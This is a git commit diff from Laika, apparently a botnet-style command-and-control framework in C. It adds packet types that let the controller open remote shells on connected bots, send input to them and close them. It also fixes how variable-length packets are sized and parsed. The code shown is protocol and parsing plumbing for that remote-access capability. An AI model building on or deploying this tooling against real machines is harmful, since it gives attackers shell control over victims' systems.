1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-10-04 23:30:06 +00:00

Added LAIKAPKT_SHELL_*, fixed variadic packets

- added bot/shell.[ch]
- simple demo cnc which runs 'ls -a' on the connect peer
This commit is contained in:
2022-02-21 17:25:49 -06:00
parent 02c3176bc4
commit 5c31fb861b
10 changed files with 322 additions and 42 deletions

View File

@@ -11,6 +11,10 @@
#define LAIKA_HOSTNAME_LEN 64
#define LAIKA_IPV4_LEN 16
/* max number of concurrent shells per peer */
#define LAIKA_MAX_SHELLS 16
#define LAIKA_SHELL_DATA_MAX_LENGTH 256
/* first handshake between peer & cnc works as so:
- peer connects to cnc and sends a LAIKAPKT_HANDSHAKE_REQ with the peer's pubkey, hostname & inet ip
- after cnc receives LAIKAPKT_HANDSHAKE_REQ, all packets are encrypted
@@ -24,7 +28,18 @@
uint8_t body[pktSize + crypto_secretbox_MACBYTES]; -- encrypted with shared key & nonce
*/
/*
any packet ending with *_RES is cnc 2 peer
any packet ending with *_REQ is peer 2 cnc
if packet doesn't have either, it can be sent & received by both peer & cnc
*/
enum {
/* ==================================================[[ Peer ]]================================================== */
LAIKAPKT_VARPKT,
/* layout of LAIKAPKT_VARPKT:
* LAIKAPKT_SIZE pktSize;
* LAIKAPKT_ID pktID;
*/
LAIKAPKT_HANDSHAKE_REQ, /* first packet sent by peer & received by cnc */
/* layout of LAIKAPKT_HANDSHAKE_REQ:
* uint8_t laikaMagic[LAIKA_MAGICLEN]; -- LAIKA_MAGIC
@@ -38,27 +53,36 @@ enum {
/* layout of LAIKAPKT_HANDSHAKE_RES:
* uint8_t cncEndian;
*/
LAIKAPKT_SHELL_OPEN, /* if sent to bot, opens a shell. if sent to cnc, signifies you opened a shell */
/* layout of LAIKAPKT_SHELL_OPEN:
* uint8_t id;
*/
LAIKAPKT_SHELL_CLOSE, /* if sent to bot, closes a shell. if sent to cnc, signifies a shell was closed */
/* layout of LAIKAPKT_SHELL_CLOSE:
* uint8_t id;
*/
LAIKAPKT_SHELL_DATA, /* if sent to bot, writes data to stdin of shell. if sent to cnc, writes to 'stdout' of shell */
/* layout of LAIKAPKT_SHELL_DATA
* uint8_t id;
* char buf[VAR_PACKET_LENGTH]
*/
/* ==================================================[[ Auth ]]================================================== */
LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel). there is no response packet */
/* layout of LAIKAPKT_STAGE2_HANDSHAKE_REQ
* uint8_t peerType;
*/
LAIKAPKT_AUTHENTICATED_ADD_PEER, /* notification that a peer has connected to the cnc */
/* layout of LAIKAPKT_AUTHENTICATED_ADD_PEER
LAIKAPKT_AUTHENTICATED_ADD_PEER_RES, /* notification that a peer has connected to the cnc */
/* layout of LAIKAPKT_AUTHENTICATED_ADD_PEER_RES
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* char hostname[LAIKA_HOSTNAME_LEN];
* char ipv4[LAIKA_IPV4_LEN];
* uint8_t peerType;
*/
LAIKAPKT_AUTHENTICATED_RMV_PEER, /* notification that a peer has disconnected from the cnc */
/* layout of LAIKAPKT_AUTHENTICATED_RMV_PEER
LAIKAPKT_AUTHENTICATED_RMV_PEER_RES, /* notification that a peer has disconnected from the cnc */
/* layout of LAIKAPKT_AUTHENTICATED_RMV_PEER_RES
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* uint8_t peerType;
*/
LAIKAPKT_VARPKT_REQ,
/* layout of LAIKAPKT_VARPKT_REQ:
* LAIKAPKT_SIZE pktSize;
* LAIKAPKT_ID pktID;
*/
LAIKAPKT_MAXNONE
};

View File

@@ -79,14 +79,14 @@ void laikaS_startVarPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) {
LAIKA_ERROR("unended OUT packet!\n")
}
laikaS_writeByte(sock, LAIKAPKT_VARPKT_REQ);
laikaS_writeByte(sock, LAIKAPKT_VARPKT);
laikaS_zeroWrite(sock, sizeof(LAIKAPKT_SIZE)); /* allocate space for packet size to patch later */
laikaS_startOutPacket(peer, id);
}
int laikaS_endVarPacket(struct sLaika_peer *peer) {
struct sLaika_socket *sock = &peer->sock;
int patchIndx = peer->outStart - 3; /* gets index of packet size */
int patchIndx = peer->outStart - (sizeof(LAIKAPKT_SIZE) + sizeof(LAIKAPKT_ID)); /* gets index of packet size */
LAIKAPKT_SIZE sz = (LAIKAPKT_SIZE)laikaS_endOutPacket(peer);
/* patch packet size */
@@ -94,7 +94,7 @@ int laikaS_endVarPacket(struct sLaika_peer *peer) {
return sz;
}
void laikaS_startInPacket(struct sLaika_peer *peer) {
void laikaS_startInPacket(struct sLaika_peer *peer, bool variadic) {
struct sLaika_socket *sock = &peer->sock;
if (peer->inStart != -1) { /* sanity check */
@@ -102,7 +102,7 @@ void laikaS_startInPacket(struct sLaika_peer *peer) {
}
/* if we're encrypting/decrypting all packets, make sure to make the packetsize reflect this */
if (peer->useSecure)
if (peer->useSecure && !variadic)
peer->pktSize += crypto_secretbox_MACBYTES + crypto_secretbox_NONCEBYTES;
peer->inStart = sock->inCount;
@@ -152,42 +152,42 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) {
/* read packet ID & mark start of packet */
peer->pktID = laikaS_readByte(&peer->sock);
/* LAIKAPKT_VARPKT_REQ's body is unencrypted, and handled by this switch statement. LAIKAPKT_VARPKT_REQ is
also likely not to be defined in our pktSizeTable. the LAIKAPKT_VARPKT_REQ case calls laikaS_startInPacket
/* LAIKAPKT_VARPKT's body is unencrypted, and handled by this switch statement. LAIKAPKT_VARPKT is
also likely not to be defined in our pktSizeTable. the LAIKAPKT_VARPKT case calls laikaS_startInPacket
for itself, so skip all of this */
if (peer->pktID == LAIKAPKT_VARPKT_REQ)
if (peer->pktID == LAIKAPKT_VARPKT)
break;
/* sanity check pktID, pktSize && pktID's handler */
if (peer->pktID >= LAIKAPKT_MAXNONE || (peer->pktSize = peer->pktSizeTable[peer->pktID]) == 0 || peer->handlers[peer->pktID] == NULL)
LAIKA_ERROR("peer %x doesn't support packet id [%d]!\n", peer, peer->pktID);
LAIKA_ERROR("peer %lx doesn't support packet id [%d]!\n", peer, peer->pktID);
/* if peer->useSecure is true, body is encrypted */
laikaS_startInPacket(peer);
laikaS_startInPacket(peer, false);
break;
case LAIKAPKT_VARPKT_REQ:
case LAIKAPKT_VARPKT:
/* try grabbing pktID & size */
if (laikaS_rawRecv(&peer->sock, sizeof(LAIKAPKT_ID) + sizeof(LAIKAPKT_SIZE), &recvd) != RAWSOCK_OK)
return false;
if (recvd != sizeof(LAIKAPKT_ID) + sizeof(LAIKAPKT_SIZE))
LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT_REQ")
LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT\n")
/* read packet size */
laikaS_readInt(&peer->sock, (void*)&peer->pktSize, sizeof(LAIKAPKT_SIZE));
if (peer->pktSize > LAIKA_MAX_PKTSIZE)
LAIKA_ERROR("variable packet too large!")
LAIKA_ERROR("variable packet too large!\n")
/* read pktID */
peer->pktID = laikaS_readByte(&peer->sock);
/* sanity check pktID, check valid range, check it's variadic (marked by a size of 0 & a defined packet handler) */
if (peer->pktID >= LAIKAPKT_MAXNONE || peer->pktSizeTable[peer->pktID] != 0 || peer->handlers[peer->pktID] == NULL)
LAIKA_ERROR("requested packet id [%d] is not variadic!", peer->pktID)
LAIKA_ERROR("requested packet id [%d] is not variadic!\n", peer->pktID)
/* if peer->useSecure is true, body is encrypted */
laikaS_startInPacket(peer);
laikaS_startInPacket(peer, true);
break;
default:
/* try grabbing the rest of the packet */